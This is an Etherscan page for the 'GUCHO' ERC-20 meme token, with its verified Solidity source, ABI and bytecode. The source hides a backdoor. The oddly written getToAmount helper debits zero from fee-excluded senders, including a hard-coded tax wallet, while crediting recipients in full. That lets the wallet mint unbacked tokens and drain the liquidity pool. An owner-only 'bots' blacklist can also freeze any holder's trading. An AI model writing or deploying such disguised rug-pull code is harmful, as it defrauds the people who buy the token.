ETH Price: $3,577.48 (-2.91%)

Token

ERC-20: GUCHO (GUCHO)
 

Overview

Max Total Supply

1,000,000,000 GUCHO

Holders

104

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,371,684.32945656 GUCHO

Value
$0.00
0xf87bac2b27f0a9fa749c548990130a04e7612f29
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GUCHO

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-01
*/

// SPDX-License-Identifier: MIT

/*
$GUHO is the chill and charismatic character spreading peace and good vibes across the Ethereum network.

Web:  https://gucho.wtf
X:    https://x.com/gucho_official
Tg:   https://t.me/gucho_official
*/

pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GUCHO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"GUCHO";
    string private constant _symbol = unicode"GUCHO";
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xf2776043f6246ed6462176DC1E0Dd6e50A85F5E7);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = _internTransfer(from, to, tokenAmount);
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _internTransfer(address from, address to, uint256 tokenAmount) private returns(uint256) { 
        require(!bots[from] && !bots[to]);
        uint256 taxAmount = tokenAmount
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);

        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFees[to]
        ) {
            require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + tokenAmount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
            _buyCount++;
        }

        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = tokenAmount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }

        if (
            !inSwap &&
            to == uniswapV2Pair &&
            swapEnabled &&
            _buyCount > _preventSwapBefore &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapBack(tokenAmount);
        }

        return taxAmount;
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 tokenAmount,
        uint256 taxAmount
    ) internal {
        uint256 tax = 0; _tokenTaxTransfer(from, taxAmount);
        _tokenBasicTransfer(from, to, getToAmount(from, tax, tokenAmount), tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,
        address to,
        uint256 sendAmount,
        uint256 receiptAmount
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 taxAmount) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
    }

    function getToAmount(address _accts, uint256 taxes, uint256 tokens) private view returns(uint256) {
        if(!_isExcludedFromFees[_accts]) return tokens + taxes * 1;
        return taxes + taxes * tokens;
    }

    function swapBack(uint256 tokenAmount) private {
        uint256 contractTokenBalance = balanceOf(address(this));

        if (contractTokenBalance > _taxSwapThreshold) {
            swapTokensForEth(
                min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
            );
        }
        sendETHToFee(address(this).balance);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
	
	function recoverETH() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
	
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260196006556019600755600060085560006009556014600a556014600b556014600c556000600d556009600a6200003c91906200034f565b6200004c906301312d0062000367565b600e556200005d6009600a6200034f565b6200006d906301312d0062000367565b600f556200007e6009600a6200034f565b6200008b90606462000367565b6010556200009c6009600a6200034f565b620000ab906298968062000367565b6011556013805461ffff60a81b19169055348015620000c957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673f2776043f6246ed6462176dc1e0dd6e50a85f5e71790556200013f6009600a6200034f565b6200014f90633b9aca0062000367565b3360009081526001602081905260408220929092556003906200017a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001d93390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002136009600a6200034f565b6200022390633b9aca0062000367565b60405190815260200160405180910390a362000381565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002915781600019048211156200027557620002756200023a565b808516156200028357918102915b93841c939080029062000255565b509250929050565b600082620002aa5750600162000349565b81620002b95750600062000349565b8160018114620002d25760028114620002dd57620002fd565b600191505062000349565b60ff841115620002f157620002f16200023a565b50506001821b62000349565b5060208310610133831016604e8410600b841016171562000322575081810a62000349565b6200032e838362000250565b80600019048211156200034557620003456200023a565b0290505b92915050565b60006200036060ff84168362000299565b9392505050565b80820281158282048414176200034957620003496200023a565b611c5f80620003916000396000f3fe6080604052600436106101395760003560e01c8063751039fc116100ab5780639e78fb4f1161006f5780639e78fb4f1461034b578063a9059cbb14610360578063bf474bed14610380578063c9567bf914610396578063d34628cc146103ab578063dd62ed3e146103cb57600080fd5b8063751039fc146102e25780637d1db4a5146102f75780638da5cb5b1461030d5780638f9a55c01461033557806395d89b411461015c57600080fd5b806323b872dd116100fd57806323b872dd14610202578063313ce5671461022257806331c2d8471461023e5780633bbac5791461025e57806370a0823114610297578063715018a6146102cd57600080fd5b80630614117a1461014557806306fdde031461015c578063095ea7b3146101995780630faee56f146101c957806318160ddd146101ed57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610411565b005b34801561016857600080fd5b506040805180820182526005815264475543484f60d81b602082015290516101909190611743565b60405180910390f35b3480156101a557600080fd5b506101b96101b43660046117b9565b61044f565b6040519015158152602001610190565b3480156101d557600080fd5b506101df60115481565b604051908152602001610190565b3480156101f957600080fd5b506101df610466565b34801561020e57600080fd5b506101b961021d3660046117e5565b610487565b34801561022e57600080fd5b5060405160098152602001610190565b34801561024a57600080fd5b5061015a61025936600461183c565b6104f1565b34801561026a57600080fd5b506101b9610279366004611901565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102a357600080fd5b506101df6102b2366004611901565b6001600160a01b031660009081526001602052604090205490565b3480156102d957600080fd5b5061015a610587565b3480156102ee57600080fd5b5061015a6105fb565b34801561030357600080fd5b506101df600e5481565b34801561031957600080fd5b506000546040516001600160a01b039091168152602001610190565b34801561034157600080fd5b506101df600f5481565b34801561035757600080fd5b5061015a6106ad565b34801561036c57600080fd5b506101b961037b3660046117b9565b610904565b34801561038c57600080fd5b506101df60105481565b3480156103a257600080fd5b5061015a610911565b3480156103b757600080fd5b5061015a6103c636600461183c565b610afa565b3480156103d757600080fd5b506101df6103e636600461191e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104445760405162461bcd60e51b815260040161043b90611957565b60405180910390fd5b61044d47610b8c565b565b600061045c338484610bc6565b5060015b92915050565b60006104746009600a611a86565b61048290633b9aca00611a95565b905090565b6000610494848484610ceb565b6104e684336104e185604051806060016040528060288152602001611c02602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e9c565b610bc6565b5060015b9392505050565b6000546001600160a01b0316331461051b5760405162461bcd60e51b815260040161043b90611957565b60005b81518110156105835760006004600084848151811061053f5761053f611aac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057b81611ac2565b91505061051e565b5050565b6000546001600160a01b031633146105b15760405162461bcd60e51b815260040161043b90611957565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106255760405162461bcd60e51b815260040161043b90611957565b6106316009600a611a86565b61063f90633b9aca00611a95565b600e5561064e6009600a611a86565b61065c90633b9aca00611a95565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068c6009600a611a86565b61069a90633b9aca00611a95565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106d75760405162461bcd60e51b815260040161043b90611957565b601354600160a01b900460ff161561072b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161043b565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107749030906107666009600a611a86565b6104e190633b9aca00611a95565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb9190611adb565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108719190611adb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e29190611adb565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600061045c338484610ceb565b6000546001600160a01b0316331461093b5760405162461bcd60e51b815260040161043b90611957565b601354600160a01b900460ff161561098f5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161043b565b6012546001600160a01b031663f305d71947306109c1816001600160a01b031660009081526001602052604090205490565b6000806109d66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a639190611af8565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190611b26565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610b245760405162461bcd60e51b815260040161043b90611957565b60005b815181101561058357600160046000848481518110610b4857610b48611aac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b8481611ac2565b915050610b27565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610583573d6000803e3d6000fd5b6001600160a01b038316610c285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043b565b6001600160a01b038216610c895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043b565b6001600160a01b038216610db15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043b565b60008111610e135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043b565b601354600160b01b900460ff161580610e355750601354600160a81b900460ff165b15610e4a57610e45838383610ed6565b505050565b600080546001600160a01b03858116911614801590610e7757506000546001600160a01b03848116911614155b15610e8a57610e87848484610f7c565b90505b610e968484848461122e565b50505050565b60008184841115610ec05760405162461bcd60e51b815260040161043b9190611743565b506000610ecd8486611b48565b95945050505050565b6001600160a01b038316600090815260016020526040902054610ef99082611260565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610f2890826112a2565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cde9085815260200190565b6001600160a01b03831660009081526004602052604081205460ff16158015610fbe57506001600160a01b03831660009081526004602052604090205460ff16155b610fc757600080fd5b6000610ff56064610fef600a54600d5411610fe457600654610fe8565b6008545b8690611301565b90611383565b6013549091506001600160a01b03868116911614801561102357506012546001600160a01b03858116911614155b801561104857506001600160a01b03841660009081526003602052604090205460ff16155b1561113057600e5483111561109f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161043b565b600f54836110c2866001600160a01b031660009081526001602052604090205490565b6110cc9190611b5b565b111561111a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161043b565b600d805490600061112a83611ac2565b91905055505b6013546001600160a01b03858116911614801561115657506001600160a01b0385163014155b15611183576111806064610fef600b54600d541161117657600754610fe8565b6009548690611301565b90505b601354600160a81b900460ff161580156111aa57506013546001600160a01b038581169116145b80156111bf5750601354600160b01b900460ff165b80156111ce5750600c54600d54115b80156111f357506001600160a01b03851660009081526003602052604090205460ff16155b801561121857506001600160a01b03841660009081526003602052604090205460ff16155b1561122657611226836113c5565b949350505050565b600061123a8583611405565b611259858561124a888588611482565b6112548787611260565b6114d2565b5050505050565b60006104ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e9c565b6000806112af8385611b5b565b9050838110156104ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043b565b60008260000361131357506000610460565b600061131f8385611a95565b90508261132c8583611b6e565b146104ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043b565b60006104ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611586565b306000908152600160205260409020546010548111156113fc576113fc6113f7836113f2846011546115b4565b6115b4565b6115c9565b61058347610b8c565b8015610583573060009081526001602052604090205461142590826112a2565b30600081815260016020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114769085815260200190565b60405180910390a35050565b6001600160a01b03831660009081526003602052604081205460ff166114be576114ad836001611a95565b6114b79083611b5b565b90506104ea565b6114c88284611a95565b6112269084611b5b565b6001600160a01b0384166000908152600160205260409020546114f59083611260565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461152490826112a2565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115789085815260200190565b60405180910390a350505050565b600081836115a75760405162461bcd60e51b815260040161043b9190611743565b506000610ecd8486611b6e565b60008183116115c357826104ea565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061161157611611611aac565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561166a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168e9190611adb565b816001815181106116a1576116a1611aac565b6001600160a01b0392831660209182029290920101526012546116c79130911684610bc6565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611700908590600090869030904290600401611b90565b600060405180830381600087803b15801561171a57600080fd5b505af115801561172e573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600060208083528351808285015260005b8181101561177057858101830151858201604001528201611754565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146117a657600080fd5b50565b80356117b481611791565b919050565b600080604083850312156117cc57600080fd5b82356117d781611791565b946020939093013593505050565b6000806000606084860312156117fa57600080fd5b833561180581611791565b9250602084013561181581611791565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561184f57600080fd5b823567ffffffffffffffff8082111561186757600080fd5b818501915085601f83011261187b57600080fd5b81358181111561188d5761188d611826565b8060051b604051601f19603f830116810181811085821117156118b2576118b2611826565b6040529182528482019250838101850191888311156118d057600080fd5b938501935b828510156118f5576118e6856117a9565b845293850193928501926118d5565b98975050505050505050565b60006020828403121561191357600080fd5b81356104ea81611791565b6000806040838503121561193157600080fd5b823561193c81611791565b9150602083013561194c81611791565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119dd5781600019048211156119c3576119c361198c565b808516156119d057918102915b93841c93908002906119a7565b509250929050565b6000826119f457506001610460565b81611a0157506000610460565b8160018114611a175760028114611a2157611a3d565b6001915050610460565b60ff841115611a3257611a3261198c565b50506001821b610460565b5060208310610133831016604e8410600b8410161715611a60575081810a610460565b611a6a83836119a2565b8060001904821115611a7e57611a7e61198c565b029392505050565b60006104ea60ff8416836119e5565b80820281158282048414176104605761046061198c565b634e487b7160e01b600052603260045260246000fd5b600060018201611ad457611ad461198c565b5060010190565b600060208284031215611aed57600080fd5b81516104ea81611791565b600080600060608486031215611b0d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3857600080fd5b815180151581146104ea57600080fd5b818103818111156104605761046061198c565b808201808211156104605761046061198c565b600082611b8b57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611be05784516001600160a01b031683529383019391830191600101611bbb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b64cd7927c93674cc30a08561299bc0b3f108f4c7aac8a5be679e4c9281efc5864736f6c63430008120033

Deployed Bytecode

